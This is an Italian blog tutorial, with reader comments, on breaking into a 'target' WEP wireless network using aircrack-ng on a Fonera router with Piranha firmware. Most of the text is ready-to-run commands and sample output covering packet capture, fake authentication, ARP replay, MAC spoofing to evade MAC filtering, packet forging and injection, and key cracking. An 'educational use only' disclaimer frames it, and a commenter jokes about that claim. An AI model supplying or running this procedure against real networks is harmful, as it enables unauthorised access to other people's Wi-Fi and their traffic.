Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4

>> Le informazioni presenti in questa guida sono da intendersi a solo uso didattico <<


Acquisizione dell’accesso ssh sul fonera. (solo per le nuove installazioni)

Il piranha è una distro basata su OpenWRT per fonera.
Per motivi di sicurezza nelle distribuzioni OpenWrt NON è specificata una password di default per l’account root, che deve essere settata al primo accesso all’interfaccia web (se presente) o tramite console telnet.
Dopo l’installazione sul fonera del firmware piranha 2.0 alpha 4, lanciate una console telnet.
L’indirizzo di default del fonera con firmware Piranha 2.0 alpha 4 è 192.168.1.1, mentre per il firmware 3.0 alla versione attuale “090916” (16-09-2009) è 10.0.0.1.
Le versioni del firmware Piranha 3.0 fino all’attuale 090916 (al momento in cui scrivo), benché siano più recenti, non possiedono l’interfaccia web (Luci).

Il firmware piranha è disponibile al seguente indirizzo: http://piranha.klashed.net/pub/
[Aggiornamento] Il progetto piranha si è trasferito al seguente indirizzo:  http://piranha.pwnz.org/

telnet 192.168.1.1
passwd

e inserite la vostra password

exit
ssh 192.168.1.1

entrate con le credenziali di root e la password che avete settato precedentemente.


Abilitazione del monitor mode

Loggatevi come root e inserite la vostra password appena definita

iwconfig ath0 | grep Mode

se leggete ” Mode:Monitor ... ” tutto ok altrimenti eseguite i due comandi qui riportati:

wlanconfig ath0 destroy
wlanconfig ath0 create wlandev wifi0 wlanmode monitor

Con questi due comandi avete settato la vostra fonera in modalità di ascolto.


Connessione di un unità di rete sulla fonera

Il fonera non dispone di spazio per salvare i pacchetti acquisiti, per cui è fondamentale salvare questi dati sul nostro pc.
Create una cartella d’appoggio sul fonera.

mkdir /mnt/share

Montiamo la cartella remota:

mount.cifs percorso_di_rete_del_nostro_pc/nome_cartella_condivisa /mnt/share -o user=Nome_del_nostro_account_sul_pc

Es:

mount.cifs //192.168.1.2/Condivisa /mnt/share -o user=root

Entrate nella cartella che avete montato.

cd /mnt/share


Sniffare e salvare i pacchetti catturati

Cominciamo a guardarci un po attorno:

airodump-ng ath0

Individuate la vostra rete bersaglio e salvatevi il numero del canale della rete e il suo bssid.
Chiudete airodump-ng con un bel ctrl-c e rilanciatelo con questi comandi.

airodump-ng -c numero --bssid 00:xx:xx:xx:xx:xx -w /mnt/share/nome_rete_bersaglio ath0

dove:

  • -c numero è il canale della rete wifi scelta,
  • --bssid 00:xx:xx:xx:xx:xx indica il mac dell’acces point che si sta attaccando,
  • -w /mnt/share/nome_rete_bersaglio indica il percorso e il nome del file che verrà creato contenente il traffico sniffato.

Da questo momento la vostra fonera salverà su hard disk tutti i pacchetti della rete bersaglio che avete scelto.

Lasciate il programma attivo e aprite un altra console ssh sulla fonera.


Attacchi standard

Per trovare la password di una rete wep con crittografia a 128 bit bisogna acquisire circa 400.000 pacchetti IV.
Dunque se non si vuole fare notte è opportuno cominciare a creare un po di traffico nella nostra rete bersaglio.

Lanciate l’attacco:

Fake authentication

aireplay-ng -1 0 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

  • -1 indica l’attacco fake authentication
  • 0 il tempo, espresso in secondi, di ri-associazione alla rete attaccata.
  • -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
  • -h indica il mac del nostro fonera.
    Se non lo conoscete usate il comando: ifconfig ath0 | grep HWaddr

Questo è un passaggio estremamente importante, se durate questa fase visualizzate dei messaggi del tipo:

12:18:20 Sending Authentication Request (Open System) [ACK]
12:18:20 Authentication successful
12:18:20 Sending Association Request [ACK]
12:18:20 Association successful :--) (AID: 1)

Allora siete riusciti nell’intento di autenticarvi nella rete che state attaccando senza problemi e potete passare al prossimo attacco.
Con alcuni access points è possibile incorre in errori strani, se accadesse qualcosa del genere provate questo comando:

aireplay-ng -1 6000 -o 1 -q 10 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

  • 6000 Indica che ci si ri-autenticherà ogni 6000 secondi
  • -o 1 Indica che verrà mandato solo un set alla volta. Mandare più set di pacchetti può confondere alcuni access point.
  • -q 10 Indica che verrà mandato un pacchetto di Keep-alive ogni 10 secondi.

Se leggete nella shell:

12:20:22 Sending Authentication Request (Open System) [ACK]
12:20:22 Authentication successful
12:20:22 Sending Association Request
12:20:22 Association successful :--) (AID: 1)
12:20:32 Sending keep-alive packet [ACK]
12:20:42 Sending keep-alive packet [ACK]
...

tutto è andato per il meglio.
Eccovi un esempio di fake authentication fallito:

12:26:05 Sending Authentication Request (Open System) [ACK]
12:26:05 Authentication successful
12:26:05 Sending Association Request [ACK]
12:26:05 Association successful :--)
12:26:05 Got a deauthentication packet!
12:26:08 Sending Authentication Request (Open System) [ACK]
12:26:08 Authentication successful
12:26:08 Sending Association Request [ACK]
12:26:13 Sending Authentication Request (Open System) [ACK]
12:26:13 Authentication successful
12:26:13 Sending Association Request [ACK]

Non procedete oltre fin tanto che non riuscite ad avere un autenticazione corretta altrimenti qualsiasi tipo di attacco voi vogliate lanciare successivamente fallirà. Se avete il sentore che la rete che state attaccando abbia il MAC Filtering attivo, passate alla sezione Mac Spoofing.

Se leggete il messaggio: “AP rejects open-system authentication Please specify a PRGA-file (-y).
Passate direttamente al paragrafo Packet Injection con Packet Forge perché l’acces point che state attaccando rigetta l’autenticazione aperta. Eseguite un attacco di tipo Fragmentation o ChopChop e una volta ottenuto il file xor eseguite nuovamente il Fake authentication con queste opzioni:

aireplay-ng -1 0 -e NOME_RETE_BERSAGLIO -y file_xor_ottenuto.xor -a 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

Lasciate il programma lavorare e aprite un altra console ssh sulla fonera.

Arp-request replay

aireplay-ng -3 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove

  • -3 indica l’attacco arp-request replay
  • -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
  • -h indica il mac del nostro fonera. Se non lo conoscete guardate la base del fonera c’è scritto, o alternativamente lanciate il comando: ifconfig ath0 | grep HWaddr

Se tutto va bene dovreste vedere, nella shell dove avete eseguito airodump-ng, i numeri del campo “#Data” della rete attaccata crescere vertiginosamente.
Alternativamente potete provare l’attacco:

Interactive frame selection

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0
  • -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
  • -h indica il mac del nostro fonera.


Mac Spoofing

Se la rete in questione ha attivo il mac filtering NON riuscirete ad eseguire correttamente l’autenticazione sulla rete wifi e conseguentemente gli attacchi non funzioneranno.
Esempio negativo

17:38:30 Sending Authentication Request (Open System) [ACK]
17:38:30 AP rejects the source MAC address (00:18:84:xx:xx:xx)?
Authentication failed (code 1)

Di seguito visioneremo diversi metodi per cambiare i mac nella fonera, funzionanti e non.

Primo metodo, (NON funziona per il fonera):
Benché non funzioni per il fonera, dato che funziona perfettamente su qualsiasi pc linux-based lo propongo lo stesso.

ifconfig ath0 down
ifconfig ath0 hw ether 00:xx:xx:xx:xx:xx
ifconfig ath0 up

Secondo metodo. (Non funziona sulla fonera modello 2100)
Accedete al Redboot del fonera e digitate:

set -m 00:xx:xx:xx:xx:xx

Terzo metodo. Aggiornato con la procedura corretta e testato da Orange:

# wlanconfig ath0 destroy
# macchanger -m 00:11:22:33:44:55 wifi0
# wlanconfig ath0 create wlandev wifi0 wlanmode [mode]

Il tool macchanger è presente nativamente nella distribuzione piranha.
[PS. Grazie sempre per il tuo tempestivo e cortese aiuto Orange.]

Quarto metodo, (non ho avuto tempo di testarlo).
Accedete al Redboot del fonera e digitate:

nvram set et0macaddr=mac_address
nvram set il0macaddr=mac_address + 1
nvram commit

Es:

nvram set et0macaddr=00:18:B8:E2:B9:4C
nvram set il0macaddr=00:18:B8:E2:B9:4D
nvram commit


Packet Injection con Packet Forge

Gli attacchi arp-request relay e interactive frame selection si basano sull’ascolto dei pacchetti che transitano sulla rete. In particolare l’arp-request relay aspetta di cogliere un pacchetto arp e una volta catturato inizia il packet injection vero e proprio. Viene da se che se, nella rete che state forzando, non ci sono client collegati non riuscirete a portare a buon fine il vostro attacco. In questo caso dovete crearvi a mano un pacchetto arp ad hoc.

Questo attacco prevede la creazione preliminare di un pacchetto ad hoc che verrà usato per eseguire il packet injection.

  1. Il primo passaggio da effettuare ci permetterà di recuperare delle informazioni essenziali per l’attacco della rete bersaglio, quali il mac di un client correttamente autenticato alla rete.
  2. Con Il secondo passaggio si effettuerà la forgiatura di un pacchetto ad hoc per l’attacco alla rete.
  3. Infine con il terzo ed ultimo passaggio si bombarderà la rete wifi con il pacchetto creato; l’access point risponderà alle nostre richieste generando traffico utile per l’hack della rete.

Prima di tutto bisogna creare il file xor detto anche file PRGA (pseudo random genration algorithm).
Avete due metodi che fanno al caso vostro:

Fragmentation

aireplay-ng -5 -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

ChopChop

aireplay-ng -4 -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

  • -5 indica l’attacco Fragmentation
  • -4 indica l’attacco ChopChop
  • -b specifica il bssid dell’acces point che vogliamo attaccare,
  • -h specifica il mac della vostra fonera.

Attendete che il file venga creato.
Verrà creato un file del tipo fragment-0101-024025.xor, dove i numeri saranno sicuramente diversi da questi.
Deve essere presente un client autenticato nella rete bersaglio che state attaccando.

Creiamo il pacchetto con Packetforge, (attenzione al nome del file xor):

packetforge-ng -0 -a 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0101-02-4025.xor -w nome_della_rete_bersaglio.arp

dove:

  • -a specifica il bssid dell’acces point che vogliamo attaccare,
  • -h specifica il mac della vostra fonera.

Eseguiamo il Packet Injection

aireplay-ng -2 -r nome_della_rete_bersaglio.arp ath0


Recupero della chiave della rete

Lanciate una nuova shell sul vostro pc e navigate nel vostro filesystem fino alla cartella condivisa che state usando per salvare i pacchetti che la fonera sta acquisendo e lanciate il comando:

aircrack-ng -z -b 00:xx:xx:xx:xx:xx nome_della rete_bersaglio.cap

Es:

aircrack-ng -z -b 00:12:34:56:78:9A wifi*.cap

dove:

  • -z invoca il metodo PWT-Wep cracking
  • -b è il bssid dell’acces point,
  • nome_della rete_bersaglio.cap è il file che il fonera ha creato contenente i pacchetti sniffati.

è importante lanciare questo comando sul vostro pc, infatti il fonera non ha abbastanza potenza di calcolo per trovare, in tempi umani, la chiave wep della rete wifi.


Approfondimenti

E’ possibile lanciare sulla fonera un server, con il comando:

airserv-ng -d ath0

dove -d indica l’interfaccia su cui il server verrà eseguito.
Il sistema in caso di successo risponde:

Opening card ath0
Setting chan 1
Opening sock port 666
Serving ath0 chan 1 on port 666

Mentre sul nostro pc locale basterà lanciare il comando:

airodump-ng indirizzo_della_fonera:666

Es:

airodump-ng 192.168.1.1:666

Questo esempio è valido anche per gli altri programmi della suite aircrack-ng basta sostituire al nome della scheda di rete (ath0) l’indirizzo e la porta del server che abbiamo lanciato sulla fonera e il gioco è fatto.
Dato che i programmi verranno lanciati nel vostro pc, il processore del fonera non sarà caricato troppo di lavoro, oltretutto viene meno anche il bisogno di montare una cartella remota nel fonera. 🙂


Aggiornamento

Come Orange mi suggerisce nel suo commento è possibile passare dalla modalità access point alla modalità monitor usando lo script, fornito dalla versione 3 del firmware piranha, “monitor” che distrugge tutte le VAP (Virtual Access Points) e crea un nuovo VAP in modalità monitor.

# /etc/init.d/aap stop
# monitor

La sua controparte è lo script “sta“:

# sta
# /etc/init.d/aap start

che riporta la fonera in modalità access point.

Ps. Thanks Orange 😉


Link utili

>> Le informazioni presenti in questa guida sono da intendersi a solo uso didattico <<

5 pensieri su “Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4

  1. Awesome write-up! Thanks a lot for spreading the word about Piranha.

    I’d just like to make you aware of the “monitor” script that ships with Piranha 3.0. It destroys all VAPs and create one single VAP in monitor mode automatically. Try “cat /bin/monitor” to get the idea.

    best,
    orange

  2. You’re welome! Not sure if Google translate is right but here is a minor correction to the update you posted:

    Piranha 3.0 is configured in station (AAP) mode, not in AP mode. The procedure to enter monitor mode and return to station (AAP) mode afterwards is as follows:

    # /etc/init.d/aap stop
    # monitor
    # sta (companion script to return to station mode)
    # /etc/init.d/aap start

    HTH orange

  3. Ciao Steppenwolf! Pardon il super-ritardo al tuo lavoro sul WEP hacking, ma dopo che mi hai suggerito di darci un’occhiata, non ho resistito alla tentazione, e finalmente dopo ore di insonnia, alle 3:50 precise ho deciso di visionare il materiale. Sono profano come sai, ma è un lavoro fatto molto bene secondo me, specie se viene impiegato come “materiale didattico” 😉

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